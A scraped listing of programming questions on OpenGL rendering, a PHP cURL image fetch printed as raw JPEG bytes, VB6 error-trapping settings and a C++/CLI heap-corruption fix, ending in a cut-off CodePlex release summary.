    I'v been trying to anti alias with OGL. I found a code chunk that is supposed to do this but I see no antialiasing. I also reset my settings in Nvidia Control Panel but no luck. Does this code in fact antialias the cube? GLboolean polySmooth = GL_TRUE; static void init(void) { glCullFace (GL_BACK); glEnable (GL_CULL_FACE); glBlendFunc (GL_SRC_ALPHA_SATURATE, GL_ONE); glClearColor (0.0, 0.0, 0.0, 0.0); } #define NFACE 6 #define NVERT 8 void drawCube(GLdouble x0, GLdouble x1, GLdouble y0, GLdouble y1, GLdouble z0, GLdouble z1) { static GLfloat v[8][3]; static GLfloat c[8][4] = { {0.0, 0.0, 0.0, 1.0}, {1.0, 0.0, 0.0, 1.0}, {0.0, 1.0, 0.0, 1.0}, {1.0, 1.0, 0.0, 1.0}, {0.0, 0.0, 1.0, 1.0}, {1.0, 0.0, 1.0, 1.0}, {0.0, 1.0, 1.0, 1.0}, {1.0, 1.0, 1.0, 1.0} }; /* indices of front, top, left, bottom, right, back faces */ static GLubyte indices[NFACE][4] = { {4, 5, 6, 7}, {2, 3, 7, 6}, {0, 4, 7, 3}, {0, 1, 5, 4}, {1, 5, 6, 2}, {0, 3, 2, 1} }; v[0][0] = v[3][0] = v[4][0] = v[7][0] = x0; v[1][0] = v[2][0] = v[5][0] = v[6][0] = x1; v[0][1] = v[1][1] = v[4][1] = v[5][1] = y0; v[2][1] = v[3][1] = v[6][1] = v[7][1] = y1; v[0][2] = v[1][2] = v[2][2] = v[3][2] = z0; v[4][2] = v[5][2] = v[6][2] = v[7][2] = z1; #ifdef GL_VERSION_1_1 glEnableClientState (GL_VERTEX_ARRAY); glEnableClientState (GL_COLOR_ARRAY); glVertexPointer (3, GL_FLOAT, 0, v); glColorPointer (4, GL_FLOAT, 0, c); glDrawElements(GL_QUADS, NFACE*4, GL_UNSIGNED_BYTE, indices); glDisableClientState (GL_VERTEX_ARRAY); glDisableClientState (GL_COLOR_ARRAY); #else printf ("If this is GL Version 1.0, "); printf ("vertex arrays are not supported.\n"); exit(1); #endif } /* Note: polygons must be drawn from front to back * for proper blending. */ void display(void) { if (polySmooth) { glClear (GL_COLOR_BUFFER_BIT); glEnable (GL_BLEND); glEnable (GL_POLYGON_SMOOTH); glDisable (GL_DEPTH_TEST); } else { glClear (GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); glDisable (GL_BLEND); glDisable (GL_POLYGON_SMOOTH); glEnable (GL_DEPTH_TEST); } glPushMatrix (); glTranslatef (0.0, 0.0, -8.0); glRotatef (30.0, 1.0, 0.0, 0.0); glRotatef (60.0, 0.0, 1.0, 0.0); drawCube(-0.5, 0.5, -0.5, 0.5, -0.5, 0.5); glPopMatrix (); glFlush (); } void reshape(int w, int h) { glViewport(0, 0, (GLsizei) w, (GLsizei) h); glMatrixMode(GL_PROJECTION); glLoadIdentity(); gluPerspective(30.0, (GLfloat) w/(GLfloat) h, 1.0, 20.0); glMatrixMode(GL_MODELVIEW); glLoadIdentity(); } void keyboard(unsigned char key, int x, int y) { switch (key) { case `t': case `T': polySmooth = !polySmooth; glutPostRedisplay(); break; case 27: exit(0); /* Escape key */ break; default: break; } } int main(int argc, char** argv) { glutInit(&argc, argv); glutInitDisplayMode (GLUT_SINGLE | GLUT_RGB | GLUT_ALPHA | GLUT_DEPTH); glutInitWindowSize(200, 200); glutCreateWindow(argv[0]); init (); glutReshapeFunc (reshape); glutKeyboardFunc (keyboard); glutDisplayFunc (display); glutMainLoop(); return 0; } Thanks

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  • php curl image problem

    - by i_dont_wanna_die
    $ch = curl_init(); // set URL and other appropriate options curl_setopt($ch, CURLOPT_URL, "https://www.hushmail.com/signup/turingimage?hush_domain=hushmail.com"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // grab URL and pass it to the browser curl_exec($ch); // close cURL resource, and free up system resources curl_close($ch); result: ÿØÿàJFIFÿs>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality ÿÛC $.' ",#(7),01444'9=82<.342ÿÛC 2!!22222222222222222222222222222222222222222222222222ÿÀ<?¯"ÿÄ ÿĵ}!1AQa"q2‘¡#B±ÁRÑg$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ ÿĵw!1AQaq"2B‘¡±Á #3RgbrÑ $4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖ×ØÙÚâãäåæçèéêòóôõö÷øùúÿÚ?ó I ”sôÊ1±Q2Ôö©£¥^:^Zûòä##ƒZvzÅœ7/¤[˃%À|¯jé¼)&9Öuí^ØIGGœIíÒ»Û±îΤ¢›µ×âqÚwI~$Òi©G§8#V¯†.,väñÒŸ™&—ˆ¼/{áû¨í¦+3É”y@œYúoö?Ù.ÿ´¾Óö¿èsV1»iªS‡Ä/«Ïuu¬êÑZ”·hÀe®J8¥¹˜$hÒHÇ€£$×^áw6¥±fÛPû>Ÿuiöh_íiã®Y1iÓÚ¥¶Ñnµˆ ÓÇÚÀ'Ëä>†»/ |/»¾ sª±·€ò#xÿ…v·š¿‡< mö[h”Ücˆ£v>ôªb’|´ÕØÜÕíȵŸj^–IõÇ ‚Aö¤×JêR.«mh–GNSZ@ŠkÙ+g)¹–Ùã˜Çæ"ù•…xm¬ZŒ·QÙÛ$Í:1)Cw⪅WQ^[ „¹µf¿„t}/SÔ® Ö®M¤i u%¶’I‡5¢Ç^g±²–ú;GÒÚ ç&ã' ¬Mzè}ªX6fBÌiή"·>øãÄÚ’\ÜFWM‰‘ñû œEùy™WKSl­cà©u2çT¶8¢]„®È{^k›K¿›Ïòí&o³ÿ®ÂŸ“ëé_Iêé¦7‡î,ZS¥[[J©¸cI¯Öem]½}#Py쌡_|œÊzø÷®Dî:Ue;œ©ƒïVWîŠ~¡u åȹTÚò|Ò¨àSØ«rXºGö8%‹æSùÍiÓÂ?yƒµ–°ú…§†ÃYißeónA’åzb§gŸ5æ‡u¥ÊƒdØ–9äÁ®NÒåÿ„bóVµÔ„RÆ|¹mÁÃ2ÿJÒøs8‹WºÜâÙŠŒg®(kGcKZ2å{}çe¢k:J\êv¨ÑÙÜ ¹ `â¹'IšÛên’ÚGyZLp¸=3X¾Ò¡×üEqÜ®#ù™O'šé¦ÕÁ©i§Û*ͦ]ìï÷ˆ<íSk;!rr{±ÜËoêÚF©r–¡·³(e½t>ñTú¬:…½ÍÜ0j’gÌä•P{Jç5bïR¹·µ!qÎ9œ{ñ[º«ƒá­3SÒ4Û2“¦GL•oÿ]嶇>)ÓP¼V¤:e¶¥àÍFY5q ÓõÁî°X¡÷¬MÃöWZa×´&-i¸‰¡=c?á^—%Ä1øi,’F¡ÄE‚¯g¸ô¯<øyçK>©c'6lsnãò©ìjêyvÖÌáëÙ¾èÔ|7—1Å-G8˜ÈzGW”ÛÇ`­z.™²ŠD‰³^ÍàßiqøVÚîyfçQ$„I´g¶~•y%YŒö.Má d†EµGSµÔÉÈ>•. x?L¸ó´‘mç·Ê0ááUæø}á+»‡•î‹Hç,|sI©-sxf×R†òSåÑ¢`Ê¢pFkÊ<®òbMwbxªËZ¿´‚ßG¸[rìD®{-AkáK–-GX¸…ï …if‹(’":GÕÓBŒ¥.h«Gó.1oU±sKÒá×ü_5ö±‹+'ÌèiÁ=+×ïm´[ÃQÙhšÔVÑ0¡`9ì+Ât¿^ivz…²ÇÂõv»J2WééTô5–mnÎI±$Ê6ƒÁæ·ÄAÚì·MÉï±ï7ºXønÛJÔn¾×ö‰H–âC‚F:ikÇZßãēi°™'³šdHïgcù½zWÆ{™ gå„ J–“’=+Ä$ˆcd‘̧è{×*-Æ÷ÜÑñ.š^¿ue8›Cg#±ÍS_º*ÿ†,luoÛZê—FYLôôæ´µ1|/®Ë¶Ñ\Û¶L;Ÿ §c‘ZAêzXI%'¶2£ºŠãÆÛo–Aé]¯€.l&¼Õ µXîZÜù!y 1ȬK <^ ·ñs™I6g¤iZ4¨.ô{UHíe'2;`cÔ¥QÔ‡ü#^¸Ó¬$ûEÄ­‹Ë”û«sÈ5‘«Iê«nV]bIcU_I—Á9ö¬XXIsmÓ¡r¦Ik;3}ˆa†K‰’QG8UI¯¥tI2ïZéWNÑ·UuVÃ-|î–ú–=¥ñ·’,uáµ_¸ñGˆ ÖÚú{§[Ì`ç§#**Óu-fg%sÕÏÂ}nÔÕn×sÚÔ'á¨9‡\¼_ûi^;&¹ª6æ7÷<ÿ¬5oEñ.ªšÅ¯ªN"ßón“ŒUÒ¡YŸ̨FvÑ…¨Èÿ5[H#‘¯â¹BnÌ„•WPø›q—+ù2^«$q¤Ÿ¼‡Sú×›I_^ê±–K©deí’vŒõ«&Ñít{袵ԒùdŒHÒ'b{W\0ÑMsêÍT—,k~(oÌ÷:œ 'HP˜úSQIÜi÷S²··!»³ViI€\=ê=7÷w7¶gÜÚ\"Ü¡0‡ç8ãÔx‡Âš¯†îwÖì#ÄÀ„‘œ[®DùS/IÙw }Ö«!ˆ(ÜXt=鶷sXSGunÛfˆîFô5¹‰ ƒÃwºRé±+Ü…e<ñëYi—wV77°ÄZSÛkÿw=+,Eù5îi®¦¦¥â={ÅòÚÙ]În_~Ø—äÖ5ÕœöW’ZÏIãm¬Á¨â•á•e‰Ê:œ«)Á»]{H} ÇCñ\µíÍÆ%™¤Ã(n Wm¨4‘CÃÓµ#RºÔ.šShWªN<Çô晚–ºêÙxŠY!EL»ÉdUOøµCíF°Ç¸Iå ÀG$~5v$—ÄísyutÍ~¡F©ã§áW|75Û“²€]^ëF’Ú,“§Ø®?y±0?fÛ\,0H%´Y‘¸ÙùO·½U$$ã¥jÿhKÿÇØ6ÇåysfvüÙÇ­i±è5ʶI”VH€œ.UXaAijÜ:z^YÂÑIK‡Ü¤ó…ç&³+Röf‹K²……t.Hç>´2¥~…kTCÈ–ía‰eßœfªàoÛ¸c8Í%hÃmhW%s*Jª­è )lqãÿ‚ÉSGµ«I'hï6ÊÊ:éÍhêS=íôÒ葃:%c“#jåÉ$ä’~´•èµ^òâÍ,u’\Á@ù3ߊ¥­Ii×MhÖº2ÂrùË?sT.n¥»I3n`¡AÆ8 *XaA$ô´¤²‡HµÒõ%š;‹‰´–¿s€ÃS¦ÑG[ƺŠÏê7+øÆ ñ§6¥â9/fH–RÊqáxö®œ;½Ñ­>ÂÚk÷:f¡{r¶P©¼B&AôrîÇHÔ[LšÔËj.¤òî$“»íö­?‰¯æêL¥ZKÙ¶Œâ¸¶º™íÔ·î‘‹*ú[ÇSJKBÖªèÓÔ5=BÇS0AªÍ2Ù± Uú/N*i|E¬ø†]ûQßoæ ­1áO©>•E_*+•Kág|D4–Ô­ïs¿÷}3Ö¬ÙÂ`mkIMb(­De‰ê. ô²,í£ÚòGÎè£Ü¸=óB4V2 nó‘Ô×>&ü«QÇ{n4KkMÇQšó&í_lh • ÷樶«zÚPÓZv6‚O0F½Zs5³‡K×_N´R–Ñ*²©9Á#šÍÖí"³½Há\)…iHæ¸bî•ÊDñ0Y© C]—º:øfÚ+X&V ûÙ 2úUÊ=Y¯Zéäc«H„ëGj4ËHɻäPF©Å\N¬5›wèÿÙ however, if i go to https://www.hushmail.com/signup/turingimage?hush_domain=hushmail.com via browser that's okay. it works, it shows the image. why doesn't php curl work? i just want to learn the reason...

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  • Drawing using Dynamic Array and Buffer Object

    - by user1905910
    I have a problem when creating the vertex array and the indices array. I don't know what really is the problem with the code, but I guess is something with the type of the arrays, can someone please give me a light on this? #define GL_GLEXT_PROTOTYPES #include<GL/glut.h> #include<iostream> using namespace std; #define BUFFER_OFFSET(offset) ((GLfloat*) NULL + offset) const GLuint numDiv = 2; const GLuint numVerts = 9; GLuint VAO; void display(void) { enum vertex {VERTICES, INDICES, NUM_BUFFERS}; GLuint * buffers = new GLuint[NUM_BUFFERS]; GLfloat (*squareVerts)[2] = new GLfloat[numVerts][2]; GLubyte * indices = new GLubyte[numDiv*numDiv*4]; GLuint delta = 80/numDiv; for(GLuint i = 0; i < numVerts; i++) { squareVerts[i][1] = (i/(numDiv+1))*delta; squareVerts[i][0] = (i%(numDiv+1))*delta; } for(GLuint i=0; i < numDiv; i++){ for(GLuint j=0; j < numDiv; j++){ //cada iteracao gera 4 pontos #define NUM_VERT(ii,jj) ((ii)*(numDiv+1)+(jj)) #define INDICE(ii,jj) (4*((ii)*numDiv+(jj))) indices[INDICE(i,j)] = NUM_VERT(i,j); indices[INDICE(i,j)+1] = NUM_VERT(i,j+1); indices[INDICE(i,j)+2] = NUM_VERT(i+1,j+1); indices[INDICE(i,j)+3] = NUM_VERT(i+1,j); } } glGenVertexArrays(1, &VAO); glBindVertexArray(VAO); glGenBuffers(NUM_BUFFERS, buffers); glBindBuffer(GL_ARRAY_BUFFER, buffers[VERTICES]); glBufferData(GL_ARRAY_BUFFER, sizeof(squareVerts), squareVerts, GL_STATIC_DRAW); glVertexPointer(2, GL_FLOAT, 0, BUFFER_OFFSET(0)); glEnableClientState(GL_VERTEX_ARRAY); glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, buffers[INDICES]); glBufferData(GL_ELEMENT_ARRAY_BUFFER, sizeof(indices), indices, GL_STATIC_DRAW); glClear(GL_COLOR_BUFFER_BIT); glColor3f(1.0,1.0,1.0); glDrawElements(GL_POINTS, 16, GL_UNSIGNED_BYTE, BUFFER_OFFSET(0)); glutSwapBuffers(); } void init() { glClearColor(0.0, 0.0, 0.0, 0.0); gluOrtho2D((GLdouble) -1.0, (GLdouble) 90.0, (GLdouble) -1.0, (GLdouble) 90.0); } int main(int argv, char** argc) { glutInit(&argv, argc); glutInitDisplayMode(GLUT_RGB | GLUT_DOUBLE); glutInitWindowSize(500,500); glutInitWindowPosition(100,100); glutCreateWindow("myCode.cpp"); init(); glutDisplayFunc(display); glutMainLoop(); return 0; } Edit: The problem here is that drawing don't work at all. But I don't get any error, this just don't display what I want to display. Even if I put the code that make the vertices and put them in the buffers in a diferent function, this don't work. I just tried to do this: void display(void) { glBindVertexArray(VAO); glClear(GL_COLOR_BUFFER_BIT); glColor3f(1.0,1.0,1.0); glDrawElements(GL_POINTS, 16, GL_UNSIGNED_BYTE, BUFFER_OFFSET(0)); glutSwapBuffers(); } and I placed the rest of the code in display in another function that is called on the start of the program. But the problem still

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  • Break in Class Module vs. Break on Unhandled Errors (VB6 Error Trapping, Options Setting in IDE)

    - by Erx_VB.NExT.Coder
    Basically, I'm trying to understand the difference between the "Break in Class Module" and "Break on Unhandled Errors" that appear in the Visual Basic 6.0 IDE under the following path: Tools --> Options --> General --> Error Trapping The three options appear to be: Break on All Errors Break in Class Module Break on Unhandled Errors Now, apparently, according to MSDN, the second option (Break in Class Module) really just means "Break on Unhandled Errors in Class Modules". Also, this option appears to be set by default (ie: I think its set to this out of the box). What I am trying to figure out is, if I have the second option selected, do I get the third option (Break on Unhandled Errors) for free? In that, does it come included by default for all scenarios outside of the Class Module spectrum? To advise, I don't have any Class Modules in my currently active project. I have .bas modules though. Also, is it possible that by Class Mdules they may be referring to normal .bas Modules as well? (this is my second sub-question). Basically, I just want the setting to ensure there won't be any surprises once the exe is released. I want as many errors to display as possible while I am developing, and non to be displayed when in release mode. Normally, I have two types of On Error Resume Next on my forms where there isn't explicit error handling, they are as follows: On Error Resume Next ' REQUIRED On Error Resume Next ' NOT REQUIRED The required ones are things like, checking to see if an array has any length, if a call to its UBound errors out, that means it has no length, if it returns a value 0 or more, then it does have length (and therefore, exists). These types of Error Statements need to remain active even while I am developing. However, the NOT REQUIRED ones shouldn't remain active while I am developing, so I have them all commented out to ensure that I catch all the errors that exist. Once I am ready to release the exe, I do a CTRL+H to find all occurrences of: 'On Error Resume Next ' NOT REQUIRED (You may have noticed they are commented out)... And replace them with: On Error Resume Next ' NOT REQUIRED ... The uncommented version, so that in release mode, if there are any leftover errors, they do not show to users. For more on the description by MSDN on the three options (which I've read twice and still don't find adequate) you can visit the following link: http://webcache.googleusercontent.com/search?q=cache:yUQZZK2n2IYJ:support.microsoft.com/kb/129876&hl=en&lr=lang_en%7Clang_tr&gl=au&tbs=lr:lang_1en%7Clang_1tr&prmd=imvns&strip=1 I’m also interested in hearing your thoughts if you feel like volunteering them (and this would be my tentative/totally optional third sub-question, that being, your thoughts on fall-back error handling techniques). Just to summarize, the first two questions were, do we get option 3 included in all non-class scenarios if we choose option 2? And, is it possible that when they use the term "Class Module" they may be referring to .bas Modules as well? (Since a .bad Module is really just a class module that is pre-instantiated in the background during start-up). Thank you.

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  • Mixed-mode C++/CLI crashing: heap corruption in atexit (static destructor registration)

    - by thaimin
    I am working on deploying a program and the codebase is a mixture of C++/CLI and C#. The C++/CLI comes in all flavors: native, mixed (/clr), and safe (/clr:safe). In my development environment I create a DLL of all the C++/CLI code and reference that from the C# code (EXE). This method works flawlessly. For my releases that I want to release a single executable (simply stating that "why not just have a DLL and EXE separate?" is not acceptable). So far I have succeeded in compiling the EXE with all the different sources. However, when I run it I get the "XXXX has stopped working" dialog with options to Check online, Close and Debug. The problem details are as follows: Problem Event Name: APPCRASH Fault Module Name: StackHash_8d25 Fault Module Version: 6.1.7600.16559 Fault Module Timestamp: 4ba9b29c Exception Code: c0000374 Exception Offset: 000cdc9b OS Version: 6.1.7600.2.0.0.256.48 Locale ID: 1033 Additional Information 1: 8d25 Additional Information 2: 8d25552d834e8c143c43cf1d7f83abb8 Additional Information 3: 7450 Additional Information 4: 74509ce510cd821216ce477edd86119c If I debug and send it to Visual Studio, it reports: Unhandled exception at 0x77d2dc9b in XXX.exe: A heap has been corrupted Choosing break results in it stopping at ntdll.dll!77d2dc9b() with no additional information. If I tell Visual Studio to continue, the program starts up fine and seems to work without incident, probably since a debugger is now attached. What do you make of this? How do I avoid this heap corruption? The program seems to work fine except for this. My abridged compilation script is as follows (I have omitted my error checking for brevity): @set TARGET=x86 @set TARGETX=x86 @set OUT=%TARGETX% @call "%VS90COMNTOOLS%\..\..\VC\vcvarsall.bat" %TARGET% @set WIMGAPI=C:\Program Files\Windows AIK\SDKs\WIMGAPI\%TARGET% set CL=/Zi /nologo /W4 /O2 /GS /EHa /MD /MP /D NDEBUG /D _UNICODE /D UNICODE /D INTEGRATED /Fd%OUT%\ /Fo%OUT%\ set INCLUDE=%WIMGAPI%;%INCLUDE% set LINK=/nologo /LTCG /CLRIMAGETYPE:IJW /MANIFEST:NO /MACHINE:%TARGETX% /SUBSYSTEM:WINDOWS,6.0 /OPT:REF /OPT:ICF /DEFAULTLIB:msvcmrt.lib set LIB=%WIMGAPI%;%LIB% set CSC=/nologo /w:4 /d:INTEGRATED /o+ /target:module :: Compiling resources omitted @set CL_NATIVE=/c /FI"stdafx-native.h" @set CL_MIXED=/c /clr /LN /FI"stdafx-mixed.h" @set CL_PURE=/c /clr:safe /LN /GL /FI"stdafx-pure.h" @set NATIVE=... @set MIXED=... @set PURE=... cl %CL_NATIVE% %NATIVE% cl %CL_MIXED% %MIXED% cl %CL_PURE% %PURE% link /LTCG /NOASSEMBLY /DLL /OUT:%OUT%\core.netmodule %OUT%\*.obj csc %CSC% /addmodule:%OUT%\core.netmodule /out:%OUT%\GUI.netmodule /recurse:*.cs link /FIXED /ENTRY:GUI.Program.Main /OUT:%OUT%\XXX.exe ^ /ASSEMBLYRESOURCE:%OUT%\core.resources,XXX.resources,PRIVATE /ASSEMBLYRESOURCE:%OUT%\GUI.resources,GUI.resources,PRIVATE ^ /ASSEMBLYMODULE:%OUT%\core.netmodule %OUT%\gui.res %OUT%\*.obj %OUT%\GUI.netmodule Update 1 Upon compiling this with debug symbols and trying again, I do in fact get more information. The call stack is: msvcr90d.dll!_msize_dbg(void * pUserData, int nBlockUse) Line 1511 + 0x30 bytes msvcr90d.dll!_dllonexit_nolock(int (void)* func, void (void)* * * pbegin, void (void)* * * pend) Line 295 + 0xd bytes msvcr90d.dll!__dllonexit(int (void)* func, void (void)* * * pbegin, void (void)* * * pend) Line 273 + 0x11 bytes XXX.exe!_onexit(int (void)* func) Line 110 + 0x1b bytes XXX.exe!atexit(void (void)* func) Line 127 + 0x9 bytes XXX.exe!`dynamic initializer for 'Bytes::Null''() Line 7 + 0xa bytes mscorwks.dll!6cbd1b5c() [Frames below may be incorrect and/or missing, no symbols loaded for mscorwks.dll] ... The line of my code that 'causes' this (dynamic initializer for Bytes::Null) is: Bytes Bytes::Null; In the header that is declared as: class Bytes { public: static Bytes Null; } I also tried doing a global extern in the header like so: extern Bytes Null; // header Bytes Null; // cpp file Which failed in the same way. It seems that the CRT atexit function is responsible, being inadvertently required due to the static initializer. Fix As Ben Voigt pointed out the use of any CRT functions (including native static initializers) requires proper initialization of the CRT (which happens in mainCRTStartup, WinMainCRTStartup, or _DllMainCRTStartup). I have added a mixed C++/CLI file that has a C++ main or WinMain: using namespace System; [STAThread] // required if using an STA COM objects (such as drag-n-drop or file dialogs) int main() { // or "int __stdcall WinMain(void*, void*, wchar_t**, int)" for GUI applications array<String^> ^args_orig = Environment::GetCommandLineArgs(); int l = args_orig->Length - 1; // required to remove first argument (program name) array<String^> ^args = gcnew array<String^>(l); if (l > 0) Array::Copy(args_orig, 1, args, 0, l); return XXX::CUI::Program::Main(args); // return XXX::GUI::Program::Main(args); } After doing this, the program now gets a little further, but still has issues (which will be addressed elsewhere): When the program is solely in C# it works fine, along with whenever it is just calling C++/CLI methods, getting C++/CLI properties, and creating managed C++/CLI objects Events added by C# into the C++/CLI code never fire (even though they should) One other weird error is that an exception happens is a InvalidCastException saying can't cast from X to X (where X is the same as X...) However since the heap corruption is fixed (by getting the CRT initialized) the question is done.

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  • OpenGL basics: calling glDrawElements once per object

    - by Bethor
    Hi all, continuing on from my explorations of the basics of OpenGL (see this question), I'm trying to figure out the basic principles of drawing a scene with OpenGL. I am trying to render a simple cube repeated n times in every direction. My method appears to yield terrible performance : 1000 cubes brings performance below 50fps (on a QuadroFX 1800, roughly a GeForce 9600GT). My method for drawing these cubes is as follows: done once: set up a vertex buffer and array buffer containing my cube vertices in model space set up an array buffer indexing the cube for drawing as 12 triangles done for each frame: update uniform values used by the vertex shader to move all cubes at once done for each cube, for each frame: update uniform values used by the vertex shader to move each cube to its position call glDrawElements to draw the positioned cube Is this a sane method ? If not, how does one go about something like this ? I'm guessing I need to minimize calls to glUniform, glDrawElements, or both, but I'm not sure how to do that. Full code for my little test : (depends on gletools and pyglet) I'm aware that my init code (at least) is really ugly; I'm concerned with the rendering code for each frame right now, I'll move to something a little less insane for the creation of the vertex buffers and such later on. import pyglet from pyglet.gl import * from pyglet.window import key from numpy import deg2rad, tan from gletools import ShaderProgram, FragmentShader, VertexShader, GeometryShader vertexData = [-0.5, -0.5, -0.5, 1.0, -0.5, 0.5, -0.5, 1.0, 0.5, -0.5, -0.5, 1.0, 0.5, 0.5, -0.5, 1.0, -0.5, -0.5, 0.5, 1.0, -0.5, 0.5, 0.5, 1.0, 0.5, -0.5, 0.5, 1.0, 0.5, 0.5, 0.5, 1.0] elementArray = [2, 1, 0, 1, 2, 3,## back face 4, 7, 6, 4, 5, 7,## front face 1, 3, 5, 3, 7, 5,## top face 2, 0, 4, 2, 4, 6,## bottom face 1, 5, 4, 0, 1, 4,## left face 6, 7, 3, 6, 3, 2]## right face def toGLArray(input): return (GLfloat*len(input))(*input) def toGLushortArray(input): return (GLushort*len(input))(*input) def initPerspectiveMatrix(aspectRatio = 1.0, fov = 45): frustumScale = 1.0 / tan(deg2rad(fov) / 2.0) fzNear = 0.5 fzFar = 300.0 perspectiveMatrix = [frustumScale*aspectRatio, 0.0 , 0.0 , 0.0 , 0.0 , frustumScale, 0.0 , 0.0 , 0.0 , 0.0 , (fzFar+fzNear)/(fzNear-fzFar) , -1.0, 0.0 , 0.0 , (2*fzFar*fzNear)/(fzNear-fzFar), 0.0 ] return perspectiveMatrix class ModelObject(object): vbo = GLuint() vao = GLuint() eao = GLuint() initDone = False verticesPool = [] indexPool = [] def __init__(self, vertices, indexing): super(ModelObject, self).__init__() if not ModelObject.initDone: glGenVertexArrays(1, ModelObject.vao) glGenBuffers(1, ModelObject.vbo) glGenBuffers(1, ModelObject.eao) glBindVertexArray(ModelObject.vao) initDone = True self.numIndices = len(indexing) self.offsetIntoVerticesPool = len(ModelObject.verticesPool) ModelObject.verticesPool.extend(vertices) self.offsetIntoElementArray = len(ModelObject.indexPool) ModelObject.indexPool.extend(indexing) glBindBuffer(GL_ARRAY_BUFFER, ModelObject.vbo) glEnableVertexAttribArray(0) #position glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 0, 0) glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, ModelObject.eao) glBufferData(GL_ARRAY_BUFFER, len(ModelObject.verticesPool)*4, toGLArray(ModelObject.verticesPool), GL_STREAM_DRAW) glBufferData(GL_ELEMENT_ARRAY_BUFFER, len(ModelObject.indexPool)*2, toGLushortArray(ModelObject.indexPool), GL_STREAM_DRAW) def draw(self): glDrawElements(GL_TRIANGLES, self.numIndices, GL_UNSIGNED_SHORT, self.offsetIntoElementArray) class PositionedObject(object): def __init__(self, mesh, pos, objOffsetUf): super(PositionedObject, self).__init__() self.mesh = mesh self.pos = pos self.objOffsetUf = objOffsetUf def draw(self): glUniform3f(self.objOffsetUf, self.pos[0], self.pos[1], self.pos[2]) self.mesh.draw() w = 800 h = 600 AR = float(h)/float(w) window = pyglet.window.Window(width=w, height=h, vsync=False) window.set_exclusive_mouse(True) pyglet.clock.set_fps_limit(None) ## input forward = [False] left = [False] back = [False] right = [False] up = [False] down = [False] inputs = {key.Z: forward, key.Q: left, key.S: back, key.D: right, key.UP: forward, key.LEFT: left, key.DOWN: back, key.RIGHT: right, key.PAGEUP: up, key.PAGEDOWN: down} ## camera camX = 0.0 camY = 0.0 camZ = -1.0 def simulate(delta): global camZ, camX, camY scale = 10.0 move = scale*delta if forward[0]: camZ += move if back[0]: camZ += -move if left[0]: camX += move if right[0]: camX += -move if up[0]: camY += move if down[0]: camY += -move pyglet.clock.schedule(simulate) @window.event def on_key_press(symbol, modifiers): global forward, back, left, right, up, down if symbol in inputs.keys(): inputs[symbol][0] = True @window.event def on_key_release(symbol, modifiers): global forward, back, left, right, up, down if symbol in inputs.keys(): inputs[symbol][0] = False ## uniforms for shaders camOffsetUf = GLuint() objOffsetUf = GLuint() perspectiveMatrixUf = GLuint() camRotationUf = GLuint() program = ShaderProgram( VertexShader(''' #version 330 layout(location = 0) in vec4 objCoord; uniform vec3 objOffset; uniform vec3 cameraOffset; uniform mat4 perspMx; void main() { mat4 translateCamera = mat4(1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, cameraOffset.x, cameraOffset.y, cameraOffset.z, 1.0f); mat4 translateObject = mat4(1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, objOffset.x, objOffset.y, objOffset.z, 1.0f); vec4 modelCoord = objCoord; vec4 positionedModel = translateObject*modelCoord; vec4 cameraPos = translateCamera*positionedModel; gl_Position = perspMx * cameraPos; }'''), FragmentShader(''' #version 330 out vec4 outputColor; const vec4 fillColor = vec4(1.0f, 1.0f, 1.0f, 1.0f); void main() { outputColor = fillColor; }''') ) shapes = [] def init(): global camOffsetUf, objOffsetUf with program: camOffsetUf = glGetUniformLocation(program.id, "cameraOffset") objOffsetUf = glGetUniformLocation(program.id, "objOffset") perspectiveMatrixUf = glGetUniformLocation(program.id, "perspMx") glUniformMatrix4fv(perspectiveMatrixUf, 1, GL_FALSE, toGLArray(initPerspectiveMatrix(AR))) obj = ModelObject(vertexData, elementArray) nb = 20 for i in range(nb): for j in range(nb): for k in range(nb): shapes.append(PositionedObject(obj, (float(i*2), float(j*2), float(k*2)), objOffsetUf)) glEnable(GL_CULL_FACE) glCullFace(GL_BACK) glFrontFace(GL_CW) glEnable(GL_DEPTH_TEST) glDepthMask(GL_TRUE) glDepthFunc(GL_LEQUAL) glDepthRange(0.0, 1.0) glClearDepth(1.0) def update(dt): print pyglet.clock.get_fps() pyglet.clock.schedule_interval(update, 1.0) @window.event def on_draw(): with program: pyglet.clock.tick() glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT) glUniform3f(camOffsetUf, camX, camY, camZ) for shape in shapes: shape.draw() init() pyglet.app.run()

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  • CodePlex Daily Summary for Wednesday, May 23, 2012

    CodePlex Daily Summary for Wednesday, May 23, 2012Popular ReleasesChristoc's DotNetNuke Module Development Template: 00.00.08 for DNN6: BEFORE USE YOU need to install the MSBuild Community Tasks available from http://msbuildtasks.tigris.org For best results you should configure your development environment as described in this blog post Then read this latest blog post about customizing and using these custom templates. Installation is simple To use this template place the ZIP (not extracted) file in your My Documents\Visual Studio 2010\Templates\ProjectTemplates\Visual C#\Web OR for VB My Documents\Visual Studio 2010\Te...Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.53: fix issue #18106, where member operators on numeric literals caused the member part to be duplicated when not minifying numeric literals ADD NEW FEATURE: ability to create source map files! The first mapfile format to be supported is the Script# format. Use the new -map filename switch to create map files when building your sources.Microsoft SQL Server Product Samples: Database: AdventureWorks 2008 Analysis Services Project: AdventureWorks 2008 Analysis Services sample database project files. Project files for Analysis Services 2008 sample cubes (standard and enterprise). Lessons 1 to 10 tutorial files.HigLabo: HigLabo_20120522: Bug fix of 